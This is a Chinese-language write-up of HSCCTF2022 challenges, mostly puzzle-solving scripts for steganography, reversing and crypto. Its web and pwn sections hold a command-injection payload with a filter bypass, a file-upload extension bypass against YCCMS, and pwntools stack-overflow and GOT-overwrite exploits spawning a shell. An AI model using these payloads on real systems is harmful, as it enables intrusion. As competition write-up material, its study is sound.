水一篇HSC-1th大赛 wp HSCCTF2022

MISC

Sign-in

水一篇HSC-1th大赛 wp HSCCTF2022_第1张图片

DORAEMON

6位纯数字密码,直接爆破

在这里插入图片描述

解压得到的图片用010打开有异常,修改高度可以得到一张二维码,只不过上部分的定位点被遮住了,手动修一下就行
水一篇HSC-1th大赛 wp HSCCTF2022_第2张图片

扫码即可

汝闻,人言否

文件尾有PK,只不过反过来了,一共有两处都反了改回来就行

压缩包里面是flag文件,有密码。看样子是键盘密码,在键盘上画了一下得到密码WVALOU,当然实在不知道那个是A的完全是可以掩码爆破爆出来。

解压出来看一下频谱,发现flag

水一篇HSC-1th大赛 wp HSCCTF2022_第3张图片

WIRESHARK

文件尾一个png图片,图片LSB隐写提取出来是个二维码。扫码得到疑似密码但是解不开,看起来有wireshark字样于是猜测栅栏密码,栅栏2得到密码wireshark3.7.0

解压压缩包010查看发现是PDF,只不过文件头被改成了00 00 00,改回来就行,打开后全选发现没有flag字样,猜测为隐写,使用wbstego空密码解密即可得到flag

水一篇HSC-1th大赛 wp HSCCTF2022_第4张图片

PCXP

本来是个挺简单的题改了好多次…
第一次的文件,能发现mirror.png、flag.txt、fffllaaaggg.zip但是无法找到后两者,前者导出也只能导出一部分
第二次的文件,能发现fffllaaaggg.zip,但是导出任然不完整
第三次的文件,能发现fffllaaaggg.zip和ffflaaaggg.rar还有mirror.png,但是zip导出依旧不完整,且rar有密码并不能用admin的密码lego1314解出
再后来的文件,能发现ffflaaaggg.rar和mirror.rar。vol导出来之后mirror的解压密码在注释,解压之后010查看发现有倒过来的png。写个脚本

new_f = open('key.png','wb').write(open('mirror.png','rb').read()[::-1])

得到key之后,再打开流量包,按大小排序。看了一下猜测是将移动硬盘里的文件传输到了电脑里面,抓到了传输过程中的两个图片。

foremost直接分解,能够发现两张几乎一模一样的图片,猜测为盲水印。

python3 .\bwmforpy3.py decode .\00000030.png .\00000094.png flag.png

水一篇HSC-1th大赛 wp HSCCTF2022_第5张图片

REVERSE

hiahia o()┛

水一篇HSC-1th大赛 wp HSCCTF2022_第6张图片

flag:

水一篇HSC-1th大赛 wp HSCCTF2022_第7张图片

s = 'igdb~Mumu@p&>%;%<$
for i in range(10):
    if(i%2 == 0):
        print(chr(ord(s[i]) - 3),end='')
    else:
        print(chr(ord(s[i]) + 5),end='')
for i in range(10,20):
    if(i%2 == 0):
        print(chr(ord(s[i]) - 11),end='')
    else:
        print(chr(ord(s[i]) + 13),end='')

ANDROID

水怪

水一篇HSC-1th大赛 wp HSCCTF2022_第8张图片

s1 = [102, 13, 99, 28, 127, 55, 99, 19, 109, 1, 121, 58, 83, 30, 79, 0, 64, 42]
s3 = []
for i in range(17):
    if(i%2 == 0):
        s3.append(s1[i]^i)
    else:
        s3.append(s1[i])
for i in range(17):
    if(i%2 != 0):
        s3[i] = s3[i] ^ s3[i+1]
print(''.join(chr(i) for i in s3))

先恢复i%2==0的,再恢复i%2==1的

WAY

UPX壳一脱

水一篇HSC-1th大赛 wp HSCCTF2022_第9张图片

水一篇HSC-1th大赛 wp HSCCTF2022_第10张图片

水一篇HSC-1th大赛 wp HSCCTF2022_第11张图片

水一篇HSC-1th大赛 wp HSCCTF2022_第12张图片

CRYPTO

Easy SignIn

cyberchef直接梭
水一篇HSC-1th大赛 wp HSCCTF2022_第13张图片

AFFINE

我写的挺拉的。思路就是通过部分明文暴力破解得到a,b参数,然后再爆破得到每一位

# -*- coding: utf-8 -*-
import string
import hashlib

letter=string.ascii_letters+string.digits

def encrypt(m, c, a, b):
    for i in range(len(m)):
        ch=m[i]
        t=(letter.index(ch) * a + b) % 62
        c.append(letter[t])
    d = ''.join(c)
    return d

m = 'flag'*11
c = []
for a in range(40):
    for b in range(40):
        c = []
        # print("加密后的密文为:")
        Cipher = encrypt(m, c, a, b)[:4]
        if(Cipher in 'xGJ13kkRK9QDfORQomFOf9NZs9LKVZvGqVIsVO9NOkorv'):
            print(Cipher,a,b)
        # flag = hashlib.md5("".join(str(m)).encode("utf8")).hexdigest()
#print(flag)
enc = 'xGJ13kkRK9QDfORQomFOf9NZs9LKVZvGqVIsVO9NOkorv'
a = 11
b = 17

for i in range(45):
    for j in letter:
        c = []
        tmp = encrypt(j, c, a, b)
        # print(tmp)
        if(tmp == enc[i]):
            print(j,end='')
# """
# 加密后的密文为:
# xGJ13kkRK9QDfORQomFOf9NZs9LKVZvGqVIsVO9NOkorv
# """

RSA

原题改编,题目参考NEWSCTF2021新春杯 EZ-RSA,只需要改参数就行

n= 124689085077258164778068312042204623310499608479147230303784397390856552161216990480107601962337145795119702418941037207945225700624828698479201514402813520803268719496873756273737647275368178642547598433774089054609501123610487077356730853761096023439196090013976096800895454898815912067003882684415072791099101814292771752156182321690149765427100411447372302757213912836177392734921107826800451961356476403676537015635891993914259330805894806434804806828557650766890307484102711899388691574351557274537187289663586196658616258334182287445283333526057708831147791957688395960485045995002948607600604406559062549703501
c= 57089349656454488535971268237112640808678921972499308620061475860564979797594115551952530069277022452969364212192304983697546604832633827546853055947447207342333989645243311993521374600648715233552522771885346402556591382705491510591127114201773297304492218255645659953740107015305266722841039559992219190665868501327315897172069355950699626976019934375536881746570219967192821765127789432830133383612341872295059056728626931869442945556678768428472037944494803103784312535269518166034046358978206653136483059224165128902173951760232760915861623138593103016278906012134142386906130217967052002870735327582045390117565
t = 10

import gmpy2

for k in range(-1000000, 1000000):
    x = gmpy2.iroot(k ** 2 + 4 * t * n, 2)

    if x[1]:
        p = (-k + x[0]) // (2 * t)
        q = t * p + k
        break

import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long

phi = (p - 1) * (q - 1)
e = 0xe18e

t = gmpy2.gcd(e, phi)
d = gmpy2.invert(e // t, phi)
m = pow(c, d, n)
msg = gmpy2.iroot(m, t)
if msg[1]:
    print(long_to_bytes(msg[0]))

WEB

CLICK

直接翻main.js找到base64编码后的flag,解码即可

Web-sign in

提示robots,访问可以看到flag界面。跳转过去说不让用ctrl+u,只要我进去的够快我就能用

当然正确的做法是在前面添上view-source:

EXEC

测试发现无回显,而且这个过滤居然是替换为空,直接双写绕过就行。flag那里用老套路正则去拿

最后的payload:cmd=tatacc${IFS}/ctf_is_fun_fla[g]2021>yee.txt

然后访问yee.txt

CMS SYSTEM

百度搜索YCCMS RCE,可以看到任意密码修改漏洞和任意上传漏洞

水一篇HSC-1th大赛 wp HSCCTF2022_第14张图片

但是在进行任意上传的时候发现上传不成功,于是访问www.zip下载到源码,查看class下的logoupload和fileupload

这里我是在fileuoload里面发现验证类型的问题
水一篇HSC-1th大赛 wp HSCCTF2022_第15张图片

只验证了第一个点后面是否为四个类型中的其中一个,多打几个点就行了

水一篇HSC-1th大赛 wp HSCCTF2022_第16张图片

然后在后台的其他功能-图片管理找到文件。直接拿flag

水一篇HSC-1th大赛 wp HSCCTF2022_第17张图片

Language

本来是刚做完TQLCTF准备把hsc的wp交了不想做了,结果发现这道题800分居然被打来不是800了,而500的题还是500,肯定有蹊跷

水一篇HSC-1th大赛 wp HSCCTF2022_第18张图片

水一篇HSC-1th大赛 wp HSCCTF2022_第19张图片

!!!

https://blog.csdn.net/fmyyy1/article/details/120756272

https://fyhssgss.github.io/2021/10/12/greatwall2021/

水一篇HSC-1th大赛 wp HSCCTF2022_第20张图片

水一篇HSC-1th大赛 wp HSCCTF2022_第21张图片

PWN

Ez_pwn

给出了后面地址且直接是system(’/bin/sh’),main函数进入就是栈溢出,没什么好说的

from pwn import *
p = remote('hsc2019.site',10278)
p.recvuntil(b'string!')
p.sendline(b'a'*(64+8) +p64(0x400741))
p.recv()
p.interactive()

EZPWN

依旧是直接给了system(’/bin/sh’)地址

任意写,将printf地址改为后门地址,调用printf实际调用的system(’/bin/sh’)

from pwn import *
p = remote('hsc2019.site',10090)
elf=ELF('./pwn')
context.log_level='debug'
p.sendlineafter('your ID?\n','aaaa')
p.sendlineafter('Give me the target address?',str(elf.got['printf']))
p.sendlineafter('Give me the data: ',p64(0x400796))
p.interactive()

你可能感兴趣的:(ctf,安全,信息安全)